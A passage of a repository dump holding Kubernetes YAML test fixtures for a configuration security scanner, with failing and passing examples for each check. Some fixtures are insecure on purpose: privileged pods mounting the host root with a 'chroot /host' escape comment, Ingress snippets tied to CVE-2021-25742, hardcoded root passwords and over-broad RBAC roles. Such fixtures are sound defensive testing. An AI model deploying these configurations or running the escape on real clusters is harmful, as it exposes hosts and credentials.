timeoutSeconds: 30 volumes: - name: kubernetes-dashboard-certs secret: secretName: kubernetes-dashboard-certs - name: tmp-volume emptyDir: {} serviceAccountName: kubernetes-dashboard # Comment the following tolerations if Dashboard must not be deployed on master tolerations: - key: node-role.kubernetes.io/master effect: NoSchedule ================================================ FILE: tests/kubernetes/checks/example_KubernetesDashboard/nginx-deployment-FAILED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: kubernetes-dashboard k8s-app: kubernetes-dashboard spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: kubernetes-dashboard k8s-app: kubernetes-dashboard spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_KubernetesDashboard/nginx-deployment-PASSED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_KubletEventCapture/KubletEventCapture-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --event-qps=6 image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubletEventCapture/KubletEventCapture-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --event-qps=2 image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubletRotateCertificates/KubletRotateCertificates-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kubelet - --rotate-certificates=false image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubletRotateCertificates/KubletRotateCertificates-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-scheduler tier: control-plane name: kube-scheduler namespace: kube-system spec: containers: - command: - kubelet - --rotate-certificates=true image: gcr.io/google_containers/kube-scheduler-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-scheduler resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_LivenessReadiness/pod-liveness-readiness-2pods.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: test: liveness name: liveness-exec spec: containers: - name: liveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 livenessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 readinessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 - name: noliveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 ================================================ FILE: tests/kubernetes/checks/example_LivenessReadiness/pod-liveness-readiness-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: test: liveness name: liveness-exec spec: containers: - name: liveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 livenessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 readinessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 ================================================ FILE: tests/kubernetes/checks/example_NginxIngressCVE202125742/annotation1-FAILED.yaml ================================================ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: app-ingress annotations: nginx.ingress.kubernetes.io/server-snippet: | location ^~ "/test" { default_type 'text/plain'; content_by_lua_block { ngx.say("hello"); } } kubernetes.io/ingress.class: "nginx" spec: rules: - http: paths: - path: /exp pathType: Prefix backend: service: name: some-service port: number: 1234 ================================================ FILE: tests/kubernetes/checks/example_NginxIngressCVE202125742/annotation2-nollua-PASSESONEFAILSONE.yaml ================================================ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: app-ingress annotations: nginx.ingress.kubernetes.io/server-snippet: | location / { return 200 'OK'; } kubernetes.io/ingress.class: "nginx" spec: rules: - http: paths: - path: /exp pathType: Prefix backend: service: name: some-service port: number: 1234 ================================================ FILE: tests/kubernetes/checks/example_NginxIngressCVE202125742/annotation3-alias.yaml ================================================ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: example-ingress namespace: developer annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$2 nginx.ingress.kubernetes.io/server-snippet: | location ^~ "/test" { default_type 'text/plain'; alias /var/run; } spec: rules: - http: paths: - path: /test pathType: Prefix backend: service: name: web port: number: 8080 ================================================ FILE: tests/kubernetes/checks/example_NginxIngressCVE202125742/noannotations-PASSED.yaml ================================================ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: app-ingress annotations: kubernetes.io/ingress.class: "nginx" spec: rules: - http: paths: - path: /exp pathType: Prefix backend: service: name: some-service port: number: 1234 ================================================ FILE: tests/kubernetes/checks/example_NoDefaultNamespace/Dev-PASSED.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: dev --- apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment namespace: dev spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:latest ports: - containerPort: 80 --- apiVersion: v1 kind: Service metadata: name: nginx-service namespace: dev spec: selector: app: nginx ports: - protocol: TCP port: 80 targetPort: 80 type: LoadBalancer ================================================ FILE: tests/kubernetes/checks/example_PSP/psp-most-insecure-FAILED.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: privileged annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*' spec: privileged: true allowPrivilegeEscalation: true allowedCapabilities: - '*' volumes: - '*' hostNetwork: true hostPorts: - min: 0 max: 65535 hostIPC: true hostPID: true runAsUser: rule: 'RunAsAny' seLinux: rule: 'RunAsAny' supplementalGroups: rule: 'RunAsAny' fsGroup: rule: 'RunAsAny' ================================================ FILE: tests/kubernetes/checks/example_PSP/psp-no-annotations-FAILED.yml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: restricted annotations: spec: privileged: false allowPrivilegeEscalation: false requiredDropCapabilities: - ALL volumes: - 'configMap' - 'emptyDir' - 'projected' - 'secret' - 'downwardAPI' - 'persistentVolumeClaim' hostNetwork: false hostIPC: false hostPID: false runAsUser: rule: 'MustRunAsNonRoot' seLinux: rule: 'RunAsAny' supplementalGroups: rule: 'MustRunAs' ranges: - min: 1 max: 65535 fsGroup: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 readOnlyRootFilesystem: false ================================================ FILE: tests/kubernetes/checks/example_PSP/psp-restricted-PASSED.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: restricted annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default' apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default' seccomp.security.alpha.kubernetes.io/defaultProfileName: 'runtime/default' apparmor.security.beta.kubernetes.io/defaultProfileName: 'runtime/default' spec: privileged: false # Required to prevent escalations to root. allowPrivilegeEscalation: false # This is redundant with non-root + disallow privilege escalation, # but we can provide it for defense in depth. requiredDropCapabilities: - ALL # Allow core volume types. volumes: - 'configMap' - 'emptyDir' - 'projected' - 'secret' - 'downwardAPI' # Assume that persistentVolumes set up by the cluster admin are safe to use. - 'persistentVolumeClaim' hostNetwork: false hostIPC: false hostPID: false runAsUser: # Require the container to run without root privileges. rule: 'MustRunAsNonRoot' seLinux: # This policy assumes the nodes are using AppArmor rather than SELinux. rule: 'RunAsAny' supplementalGroups: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 fsGroup: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 readOnlyRootFilesystem: false ================================================ FILE: tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: etcd namespace: should-fail spec: hostNetwork: true containers: - name: "kuku1" image: "b.gcr.io/kuar/etcd:2.2.0" args: - "--name=etcd0" - "--advertise-client-urls=http://10.0.0.1:2379" - "--listen-client-urls=http://0.0.0.0:2379" - "--listen-peer-urls=http://0.0.0.0:2380" - "--data-dir=/var/lib/etcd/data" - "--wal-dir=/var/lib/etcd/wal" - "--election-timeout=1000" - "--heartbeat-interval=100" - "--snapshot-count=10000" - "--max-snapshots=5" - "--max-wals=5" - "--initial-advertise-peer-urls=http://10.0.0.1:2380" - "--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380" - "--initial-cluster-state=new" - "--initial-cluster-token=cluster0" - "--peer-client-cert-auth=false" ports: - name: client containerPort: 2379 protocol: "TCP" - name: peer containerPort: 2380 protocol: "TCP" resources: limits: cpu: "1000m" memory: "256Mi" volumeMounts: - name: "etcd-data" mountPath: /var/lib/etcd/data - name: "etcd-wal" mountPath: /var/lib/etcd/wal volumes: - name: "etcd-wal" awsElasticBlockStore: volumeID: vol-1234wal0 fsType: ext4 - name: "etcd-data" awsElasticBlockStore: volumeID: vol-1234data0 fsType: ext4 ================================================ FILE: tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-FAILED2.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: etcd namespace: should-fail spec: hostNetwork: true containers: - name: "kuku3" image: "b.gcr.io/kuar/etcd:2.2.0" args: - "--name=etcd0" - "--advertise-client-urls=http://10.0.0.1:2379" - "--listen-client-urls=http://0.0.0.0:2379" - "--listen-peer-urls=http://0.0.0.0:2380" - "--data-dir=/var/lib/etcd/data" - "--wal-dir=/var/lib/etcd/wal" - "--election-timeout=1000" - "--heartbeat-interval=100" - "--snapshot-count=10000" - "--max-snapshots=5" - "--max-wals=5" - "--initial-advertise-peer-urls=http://10.0.0.1:2380" - "--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380" - "--initial-cluster-state=new" - "--initial-cluster-token=cluster0" ports: - name: client containerPort: 2379 protocol: "TCP" - name: peer containerPort: 2380 protocol: "TCP" resources: limits: cpu: "1000m" memory: "256Mi" volumeMounts: - name: "etcd-data" mountPath: /var/lib/etcd/data - name: "etcd-wal" mountPath: /var/lib/etcd/wal volumes: - name: "etcd-wal" awsElasticBlockStore: volumeID: vol-1234wal0 fsType: ext4 - name: "etcd-data" awsElasticBlockStore: volumeID: vol-1234data0 fsType: ext4 ================================================ FILE: tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: etcd namespace: should-pass spec: hostNetwork: true containers: - name: "kuku2" image: "b.gcr.io/kuar/etcd:2.2.0" args: - "--name=etcd0" - "--advertise-client-urls=http://10.0.0.1:2379" - "--listen-client-urls=http://0.0.0.0:2379" - "--listen-peer-urls=http://0.0.0.0:2380" - "--data-dir=/var/lib/etcd/data" - "--wal-dir=/var/lib/etcd/wal" - "--election-timeout=1000" - "--heartbeat-interval=100" - "--snapshot-count=10000" - "--max-snapshots=5" - "--max-wals=5" - "--initial-advertise-peer-urls=http://10.0.0.1:2380" - "--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380" - "--initial-cluster-state=new" - "--initial-cluster-token=cluster0" - "--peer-client-cert-auth=true" ports: - name: client containerPort: 2379 protocol: "TCP" - name: peer containerPort: 2380 protocol: "TCP" resources: limits: cpu: "1000m" memory: "256Mi" volumeMounts: - name: "etcd-data" mountPath: /var/lib/etcd/data - name: "etcd-wal" mountPath: /var/lib/etcd/wal volumes: - name: "etcd-wal" awsElasticBlockStore: volumeID: vol-1234wal0 fsType: ext4 - name: "etcd-data" awsElasticBlockStore: volumeID: vol-1234data0 fsType: ext4 ================================================ FILE: tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-UNKNOWN.yaml ================================================ apiVersion: v1 kind: Pod metadata: namespace: should-fail spec: hostNetwork: true containers: - name: "kuku1" image: "b.gcr.io/kuar/etcd:2.2.0" args: - "--name=etcd0" - "--advertise-client-urls=http://10.0.0.1:2379" - "--listen-client-urls=http://0.0.0.0:2379" - "--listen-peer-urls=http://0.0.0.0:2380" - "--data-dir=/var/lib/etcd/data" - "--wal-dir=/var/lib/etcd/wal" - "--election-timeout=1000" - "--heartbeat-interval=100" - "--snapshot-count=10000" - "--max-snapshots=5" - "--max-wals=5" - "--initial-advertise-peer-urls=http://10.0.0.1:2380" - "--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380" - "--initial-cluster-state=new" - "--initial-cluster-token=cluster0" - "--peer-client-cert-auth=false" ports: - name: client containerPort: 2379 protocol: "TCP" - name: peer containerPort: 2380 protocol: "TCP" resources: limits: cpu: "1000m" memory: "256Mi" volumeMounts: - name: "etcd-data" mountPath: /var/lib/etcd/data - name: "etcd-wal" mountPath: /var/lib/etcd/wal volumes: - name: "etcd-wal" awsElasticBlockStore: volumeID: vol-1234wal0 fsType: ext4 - name: "etcd-data" awsElasticBlockStore: volumeID: vol-1234data0 fsType: ext4 ================================================ FILE: tests/kubernetes/checks/example_PrivilegedContainers/nginx-deployment-PASSED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_PrivilegedContainers/privilegedDaemonSet-FAILED.yaml ================================================ # Access worker node file system from within a pod apiVersion: apps/v1 kind: DaemonSet metadata: name: privileged spec: selector: matchLabels: name: privileged-container template: metadata: labels: name: privileged-container spec: containers: - name: busybox image: busybox resources: limits: cpu: 200m memory: 100Mi requests: cpu: 100m memory: 50Mi stdin: true securityContext: privileged: true volumeMounts: - name: host-root-volume mountPath: /host readOnly: false volumes: - name: host-root-volume hostPath: path: / hostNetwork: true hostPID: true restartPolicy: Always # And access host: kubectl exec -ti privileged-xxxxx chroot /host ================================================ FILE: tests/kubernetes/checks/example_PrivilegedContainers/privilegedPod-FAILED.yaml ================================================ # Access worker node file system from within a pod apiVersion: v1 kind: Pod metadata: name: privileged spec: containers: - name: busybox image: busybox resources: limits: cpu: 200m memory: 100Mi requests: cpu: 100m memory: 50Mi stdin: true securityContext: privileged: true volumeMounts: - name: host-root-volume mountPath: /host readOnly: false volumes: - name: host-root-volume hostPath: path: / hostNetwork: true hostPID: true restartPolicy: Always # And access host: kubectl exec -ti privileged-xxxxx chroot /host ================================================ FILE: tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-failed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-1 namespace: test rules: - apiGroups: ["certificates.k8s.io"] resources: ["certificatesigningrequests/approval"] verbs: ["update", "get"] - apiGroups: ["certificates.k8s.io"] resources: ["signers"] verbs: ["approve"] ================================================ FILE: tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-failed-2.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-2 namespace: test rules: - apiGroups: ["certificates.k8s.io"] resources: ["*"] verbs: ["*"] ================================================ FILE: tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-failed-3.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-3 namespace: test rules: - apiGroups: ["certificates.k8s.io"] resources: ["*"] verbs: ["approve"] - apiGroups: ["certificates.k8s.io"] resources: ["*/approval"] verbs: ["update"] ================================================ FILE: tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-passed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-1 namespace: test rules: - apiGroups: ["*"] resources: ["*"] verbs: ["approve"] - apiGroups: ["*"] resources: ["pods"] verbs: ["update", "patch", "get"] ================================================ FILE: tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-passed-2.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-2 namespace: test rules: - apiGroups: ["", "extensions", "apps"] resources: ["*"] verbs: [""] ================================================ FILE: tests/kubernetes/checks/example_RbacBindRoleBindings/clusterrole-failed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-1 namespace: test rules: - apiGroups: [""] resources: ["nodes"] verbs: ["list", "get"] - apiGroups: ["rbac.authorization.k8s.io", ""] resources: ["rolebindings"] verbs: ["delete", "bind"] - apiGroups: [""] resources: ["pods"] verbs: ["patch", "get"] ================================================ FILE: tests/kubernetes/checks/example_RbacBindRoleBindings/clusterrole-passed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-1 namespace: test rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterrolebindings", "configmaps"] verbs: ["get", "create", "delete", "list"] - apiGroups: [""] resources: ["pods", "nodes"] verbs: ["update", "patch", "get"] ================================================ FILE: tests/kubernetes/checks/example_RbacBindRoleBindings/role-failed-2.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-2 namespace: test rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings", "roles"] verbs: ["*"] ================================================ FILE: tests/kubernetes/checks/example_RbacBindRoleBindings/role-passed-2.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-2 namespace: test rules: - apiGroups: ["", "rbac.authorization.k8s.io", "apps"] resources: ["pods", "serviceaccounts"] verbs: ["*"] - apiGroups: ["", "rbac.authorization.k8s.io", "apps"] resources: ["roles", "clusterrolebindings"] verbs: ["patch", "create", "watch", "delete", "list"] ================================================ FILE: tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-failed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-1 namespace: test rules: - apiGroups: ["admissionregistration.k8s.io"] resources: ["mutatingwebhookconfigurations"] verbs: ["create", "list"] - apiGroups: [""] resources: ["pods"] verbs: ["get"] ================================================ FILE: tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-failed-2.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-2 namespace: test rules: - apiGroups: ["admissionregistration.k8s.io"] resources: ["validatingwebhookconfigurations"] verbs: ["patch"] ================================================ FILE: tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-passed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-1 namespace: test rules: - apiGroups: ["*"] resources: ["*"] verbs: ["get"] ================================================ FILE: tests/kubernetes/checks/example_RbacControlWebhooks/clusterrole-passed-2.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-2 namespace: test rules: - apiGroups: ["*"] resources: ["validatingwebhookconfigurations"] verbs: ["get", "list", "watch"] ================================================ FILE: tests/kubernetes/checks/example_RbacEscalateRoles/clusterrole-failed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-1 namespace: test rules: - apiGroups: [""] resources: ["nodes"] verbs: ["list", "get"] - apiGroups: ["rbac.authorization.k8s.io", ""] resources: ["roles"] verbs: ["get", "escalate"] ================================================ FILE: tests/kubernetes/checks/example_RbacEscalateRoles/clusterrole-passed-1.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-1 namespace: test rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["clusterroles"] verbs: ["get", "create", "delete", "list"] - apiGroups: [""] resources: ["pods", "roles"] verbs: ["update", "patch", "get"] ================================================ FILE: tests/kubernetes/checks/example_RbacEscalateRoles/role-failed-2.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-2 namespace: test rules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings", "roles"] verbs: ["*"] ================================================ FILE: tests/kubernetes/checks/example_RbacEscalateRoles/role-passed-2.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-2 namespace: test rules: - apiGroups: ["", "rbac.authorization.k8s.io", "apps"] resources: ["pods", "serviceaccounts"] verbs: ["*"] ================================================ FILE: tests/kubernetes/checks/example_ReadOnlyFilesystem/frontend-replicaset-FAILED.yaml ================================================ apiVersion: apps/v1 kind: ReplicaSet metadata: name: frontend labels: app: guestbook tier: frontend spec: # modify replicas according to your case replicas: 3 selector: matchLabels: tier: frontend template: metadata: labels: tier: frontend spec: containers: - name: php-redis image: gcr.io/google_samples/gb-frontend:v3 ================================================ FILE: tests/kubernetes/checks/example_ReadOnlyFilesystem/pod-readonly-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: run: readonly-container name: readonly-container spec: containers: - image: ubuntu name: readonly-container command: ["/bin/sh", "-c", "sleep infinity"] securityContext: readOnlyRootFilesystem: true restartPolicy: Never ================================================ FILE: tests/kubernetes/checks/example_ReadOnlyFilesystem/pod-readonly-false-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: run: readonly-container name: readonly-container spec: containers: - image: ubuntu name: readonly-container command: ["/bin/sh", "-c", "sleep infinity"] securityContext: readOnlyRootFilesystem: false restartPolicy: Never ================================================ FILE: tests/kubernetes/checks/example_Requests_Limits/cronjob-request-limit-1FAILED.yaml ================================================ apiVersion: batch/v1beta1 kind: CronJob metadata: name: pghero-capture-query-stats spec: schedule: "*/5 * * * *" startingDeadlineSeconds: 120 concurrencyPolicy: Forbid successfulJobsHistoryLimit: 2 failedJobsHistoryLimit: 2 jobTemplate: spec: template: metadata: labels: cronjob: pghero-capture-query-stats spec: restartPolicy: OnFailure containers: - name: cron image: "pghero:latest" imagePullPolicy: Always command: ["bin/rake", "pghero:capture_query_stats"] env: - name: "PGHERO_CONFIG_PATH" value: "/etc/pghero/pghero.yaml" envFrom: - secretRef: name: pghero-secret volumeMounts: - name: config mountPath: "/etc/pghero" readOnly: true resources: volumes: - name: config secret: secretName: pghero-yaml-secret ================================================ FILE: tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-1FAILED1PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: frontend spec: containers: - name: db image: mysql env: - name: MYSQL_ROOT_PASSWORD value: "password" - name: wp image: wordpress resources: requests: memory: "64Mi" cpu: "250m" ephemeral-storage: "2Gi" limits: memory: "128Mi" cpu: "500m" ephemeral-storage: "4Gi" ================================================ FILE: tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-2PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: frontend spec: containers: - name: db image: mysql env: - name: MYSQL_ROOT_PASSWORD value: "password" resources: requests: memory: "64Mi" cpu: "250m" ephemeral-storage: "2Gi" limits: memory: "128Mi" cpu: "500m" ephemeral-storage: "4Gi" - name: wp image: wordpress resources: requests: memory: "64Mi" cpu: "250m" ephemeral-storage: "2Gi" limits: memory: "128Mi" cpu: "500m" ephemeral-storage: "4Gi" ================================================ FILE: tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-UNKNOWN.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: frontend spec: containers: - name: db image: mysql env: - name: MYSQL_ROOT_PASSWORD value: "password" resources: - requests: memory: "64Mi" cpu: "250m" ephemeral-storage: "2Gi" limits: memory: "128Mi" cpu: "500m" ephemeral-storage: "4Gi" ================================================ FILE: tests/kubernetes/checks/example_Requests_Limits/pod-requests-limits-UNKNOWN2.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: frontend spec: containers: - name: db image: mysql env: - name: MYSQL_ROOT_PASSWORD value: "password" resources: requests: - memory: "64Mi" cpu: "250m" ephemeral-storage: "2Gi" limits: memory: "128Mi" cpu: "500m" ephemeral-storage: "4Gi" ================================================ FILE: tests/kubernetes/checks/example_RootContainers/rootContainersFAILED-malformed-spec.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: pod1 spec: - containers: - name: main image: alpine command: ["/bin/sleep", "999999"] ================================================ FILE: tests/kubernetes/checks/example_RootContainers/rootContainersFAILED.yaml ================================================ # runAsNonRoot and runAsUser not set (pod or container) apiVersion: v1 kind: Pod metadata: name: pod1 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] --- # runAsNonRoot set at pod, but overridden at container apiVersion: v1 kind: Pod metadata: name: pod2 spec: securityContext: runAsNonRoot: true containers: - name: main image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsNonRoot: false --- # runAsNonRoot not set, runAsUser set to 0 at pod level apiVersion: v1 kind: Pod metadata: name: pod3 spec: securityContext: runAsUser: 0 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] --- # runAsNonRoot not set, runAsUser >1000 defined at pod, but overridden to 0 at container level apiVersion: v1 kind: Pod metadata: name: pod4 spec: securityContext: runAsUser: 1000 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] - name: main2 image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 0 --- # runAsNonRoot not set, runAsUser is not an integer (FAILED) apiVersion: v1 kind: Pod metadata: name: pod4 spec: securityContext: runAsUser: username containers: - name: main image: alpine command: ["/bin/sleep", "999999"] - name: main2 image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsUser: 0 ================================================ FILE: tests/kubernetes/checks/example_RootContainers/rootContainersFAILED_2.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: external-dns namespace: external-dns spec: strategy: type: Recreate selector: matchLabels: app: external-dns template: metadata: labels: app: external-dns spec: containers: - name: external-dns image: k8s.gcr.io/external-dns/external-dns:v0.8.0 args: - --source=ingress - --source=istio-gateway - --provider=google - --google-project=guidewire-mgmt-dev-b81f #Specify the Project Name where Cloud DNS Zones are hosted - --registry=txt - --txt-owner-id=my-identifier serviceAccountName: external-dns securityContext: runAsUser:65534 fsGroup:65534 ================================================ FILE: tests/kubernetes/checks/example_RootContainers/rootContainersPASSED.yaml ================================================ # runAsNonRoot set at pod, not overridden by containers apiVersion: v1 kind: Pod metadata: name: pod1 spec: securityContext: runAsNonRoot: true containers: - name: main image: alpine command: ["/bin/sleep", "999999"] --- # runAsNonRoot not set at pod, but all containers specify apiVersion: v1 kind: Pod metadata: name: pod2 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsNonRoot: true --- # runAsNonRoot set to false at pod, but overridden as True by all containers specify apiVersion: v1 kind: Pod metadata: name: pod3 spec: securityContext: runAsNonRoot: false containers: - name: main image: alpine command: ["/bin/sleep", "999999"] securityContext: runAsNonRoot: true --- # runAsNonRoot not set, runAsUser >0 defined at pod and not overridden at container apiVersion: v1 kind: Pod metadata: name: pod4 spec: securityContext: runAsUser: 1000 containers: - name: main image: alpine command: ["/bin/sleep", "999999"] --- # runAsNonRoot not set, runAsUser >0 overridden for each container apiVersion: v1 kind: Pod 